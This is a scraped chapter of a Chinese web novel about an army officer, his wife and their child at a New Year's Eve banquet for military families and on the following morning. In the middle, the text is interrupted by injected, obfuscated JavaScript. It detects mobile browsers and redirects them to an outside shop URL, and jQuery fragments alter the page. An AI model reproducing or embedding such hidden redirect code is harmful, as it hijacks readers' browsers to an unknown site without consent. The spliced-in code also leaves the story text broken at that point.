桌子拼在一起变成一个巨大的长桌,首长坐在中间,左边坐着嫂子们,右边坐在部队的军官们。
孩子们则更加自由点,一会跑到爸爸这边,一会又跑到妈妈这边,忙得都来不及吃,只围着桌子转。
嫂子们准备的菜陆陆续续被揭开,看得大家是眼前一亮。
哟,这一开席,好吃的东西还真不少。
有嫂子做的是一盘糖醋小排,色泽油亮,酸甜的香味直往鼻子里钻。
赵梅做的是红烧肉,五花三层,油亮亮的,一看就舍得放酱油。
有个四川嫂子端来一碗麻辣兔丁,红油汪汪的,看着就让人流口水。
安徽那个嫂子做的是臭鳜鱼,刚端上来的时候有人还皱眉,吃了一口就停不下筷子。
还有个新疆嫂子,做了一盘大盘鸡。还有炸春卷、卤猪蹄、凉拌海带丝、蒜泥白肉……桌上摆得满满当当,盘子摞盘子,碗挨碗。
龚燕做的红烧狮子头摆在桌子中间,拳头大的肉圆红亮亮的。天南地北的口味凑到一桌上,吃得热闹,聊得也热闹,场面一下子炸开。
宁宁这会坐在顾长柏腿上,小脚一翘一翘,小手指着桌上的菜,一会儿要吃这个,一会儿要吃那个。
顾长柏笑着给他夹菜,嘴里说着慢点吃,手里的筷子却没停过。
这个时候,突然有人喊“干杯”,大家纷纷举起手里的搪瓷缸,碰得叮当响。
顾长柏看到红烧狮子头,就知道这个是媳妇做的,圆滚滚的肉圆,红亮亮的汤汁,撒着翠绿的葱花。
他心里头泛起一丝得意,可嘴上却嘀咕:“真是的,今天还跟她说了不要太辛苦,准备这么个大菜,便宜这帮战友了。”
他嘴上这么说,可眼角眉梢全是藏不住的笑。
他想着想着,目光穿过热闹的席面,落在坐在另一桌的龚燕身上。她正端着碗跟旁边的嫂子说话,侧脸在灯光下显得柔和又好看,嘴角微微翘着,像是也在笑。
他干脆从桌边站起来,牵着宁宁绕了大半张桌子,走到龚燕身边,弯下腰凑到她耳边,低声问了一句:“媳妇,家里还有不?”
这种事情,晚点问又会怎么样,龚燕周围都是看热闹的嫂子,她的脸皮又薄,情不自禁就红了脸。
真是个馋虫,龚燕点点头,只希望他快点回到自己的座位上去,就快速说道:“还有两三个,给你和宁宁垫垫肚子的。”
两三个哪里够吃,顾长柏只觉得媳妇真是大公无私。他脑子飞快计算一下,居然拿着碗:“那我去装点狮子头。”
居然就站起来准备去装一点,龚燕攥住他的衣角,实在是没好气,但是大家都盯着,大庭广众下,她的声音不能大,因此低声制止:“哪有人连吃带拿、往家里装的啊?这么多人看着呢!”
顾长柏一听就知道自己媳妇想歪了,于是解释道:“我不是自己想吃。我们陪你们在礼堂吃完,还要去部队一趟,陪着底下的兵。”
龚燕这才想起来,顾长柏在信里提过,部队里过年,干部要和战士们在一起守岁,吃年夜饭。但是因为部队的人太多了,就分成了两批。先陪军属吃完,再去陪战士。
龚燕顿时觉得自己做的狮子头有点少,肯定是不够分,早知道做小点:“你不早说,早知道我多做点,分成两份也好啊。”
顾长柏心想,这就够了,做再多,那帮人也跟饿死鬼一样,也就是给大家尝尝鲜。他手底下可不少人呢,运气好才能抢到。
龚燕尴尬坐在那,看着顾长柏拿着碗,一个一个往碗里夹狮子头。对面有一个战友打趣道:“顾副团长,这是舍不得我们吃,还要带回去啊?”
一看就是不安好心,在大家面前大声说,生怕领导听不着。
但是顾长柏才不管着这种不怀好意的战友,一眼瞥过去,理直气壮道:“我给我手底下的兵拿几个,让他们尝尝我媳妇的手艺,不行啊?”
语气中带着对手底下的人维护,又带着炫耀的意思。媳妇做的,想给自己手底下的兵带回去,怎么着也不能不行,再看那个挑事的战友,他张了张嘴,心里没讨到好,就不再开口了。
就连在肉蛋市场负责卖肉的胡嫂子都过来帮腔:“就是就是,燕子做那么多。小顾啊,你多拿几个,这里的这帮大老爷们,在家有人伺候,都吃得着。战士们住在部队里,过年都回不来一次家,不容易。”
要不都说胡嫂子是整个家属院最厚道的人呢,看着话说得多体面。
正在桌上吃饭的刘政委听了,也笑着看了顾长柏一眼,然后低声跟隔壁的老领导耳语:“你看小顾,还是把咱们战士们放心里啊。”
两位老领导坐在这,刘政委说话又向来很温和周全,慢悠悠补一句,这会大家都附和。
过了一会,赵梅走在桌子的右边,碰了碰罗副团长,小声嘀咕了几句。
没办法,她男人也是副团级,人家顾长柏在那边可劲表现了,这个人可像个大傻子一样,还在这吃得香呢。就这积极性和敏感性,还想往上走,哪有有机会。
殊不知罗副团长也无奈地摊手:“你做的红烧肉这么好吃,大家你一块我一块,早就被分得差不多了呀。我先吃,差不多了,我送点饺子过去。”
赵梅心里老大不乐意,谁想吃一帮男人做的饺子啊。
她刚才可在旁边看着,有几个军官包饺子,不是馅放多了撑破了皮,就是馅放少了像个饺子样的汤圆。她撇撇嘴,看了一眼被大家夹完的红烧肉,嘴上也不好说什么。
明明红烧肉买了不少,炖了满满一锅,没想到这帮人筷子这么快。
看人家顾长柏动作多快,吃之前先把狮子头留出来,装了满满一碗。
再看老罗,都站起来去吃流水席了,光顾着吃,一点眼力见都没有。平时没少念叨自己要上进,真到了需要上进的时候又啥事不干,光让人替他发愁。
她翻了个白眼,嘴上功夫比脚上功夫利索,就知道说,也不行动。
除夕晚上,顾长柏吃完之后去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866478|212092||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
部队,和手下的战士们共度除夕,待到很晚。
等到顾长柏回家的时候,龚燕和宁宁早就睡了。
他轻手轻脚地进被窝,龚燕嘤咛了一声,却没有醒。
人明明在被窝里,被窝居然还是冷的。
顾长柏的手又摸了一个宁宁那边,小家伙像个小暖炉,居然是热的。
想起长河村比这里更冷,也不知道媳妇这冷手冷脚的,这么多年是怎么过来的。说不定就是抱着宁宁这个小暖炉,也是浑身冰凉。
今儿是除夕,窗外的风呜呜地刮,顾长柏看见床边的桌子旁摆着碗,上面搁着几块果子、红枣和糖。
老家的习俗,年三十晚上摆着这些,来年不愁吃喝、甜甜蜜蜜。
这种习俗,其实他也没经历过几次,原因无他,他爸妈能给口吃的就不错了,还年货呢,简直不可能。
但是龚燕把习俗从老家带到了这里,给他带来了家的温馨和幸福,她就这样默默做这些,怪不得主席说妇女能顶半边天,可不是么,这种零零碎碎的用心,让他心里暖暖的。
他拿起一个果子含在嘴里,甜的味道在口腔中,一直传到心里。
把目光放在龚燕脸上,握紧龚燕的手,心里想着,今年过年真是个团圆年。
等到第二天顾长柏从睡梦中醒来的时候,龚燕已经在厨房里忙了。
“媳妇...”顾长柏想说,大年初一不好这么忙的。
老话说,大年初一要是忙,这一年就得忙到头。
再说了,平时都是自己做早饭,大年初一的反倒偷懒让龚燕做早饭,这算怎么回事?
只见龚燕摆了粥,又摆了一盘金黄金黄的饼摆到桌子上。
“不是我做的。”龚燕笑,“昨天隔壁的刘嫂子问我狮子头的做法,我把做法告诉她。她大早上给我们家送来的,说是这边的特色油炸饼,叫咸煎饼。”
顾长柏嘴里说着,眼睛就一直盯着盘子里的咸煎饼:“刘嫂子挺实在啊。”就还准备动手拿一块,就被龚燕瞪了一眼:“刷牙洗脸去。”
顾长柏只得先去洗漱,洗完又跟龚燕搭讪:“媳妇,你手艺真好,昨天我底下的兵就一直在夸,又说你做饭好吃,又说我有福气。”
顾长柏发现了,龚燕有的时候很喜欢听这种好话。于是,他就把昨天战士们的话一股脑往外面倒,反正转述别人的话,夸媳妇两句,又不会少块肉。
龚燕听这种夸奖确实心里高兴,但是也没忘记顾长柏的习惯。他这段时间喜欢趁她做事情的时候夸她,然后趁她不注意的时候动手动脚。
这不,手又不老实了。
但是不一会,宁宁从床上醒过来,起来就噔噔噔跑过来找妈妈,打断了这种旖旎的氛围。
顾长柏只能无奈地摸了一把宁宁圆润的后脑勺。
龚燕心想,有肉有油什么不好吃,分明是部队里那帮战士们馋肉了,顺便说些好话。她嘴上不由关心:“你之前过年,也在部队跟他们一起过?”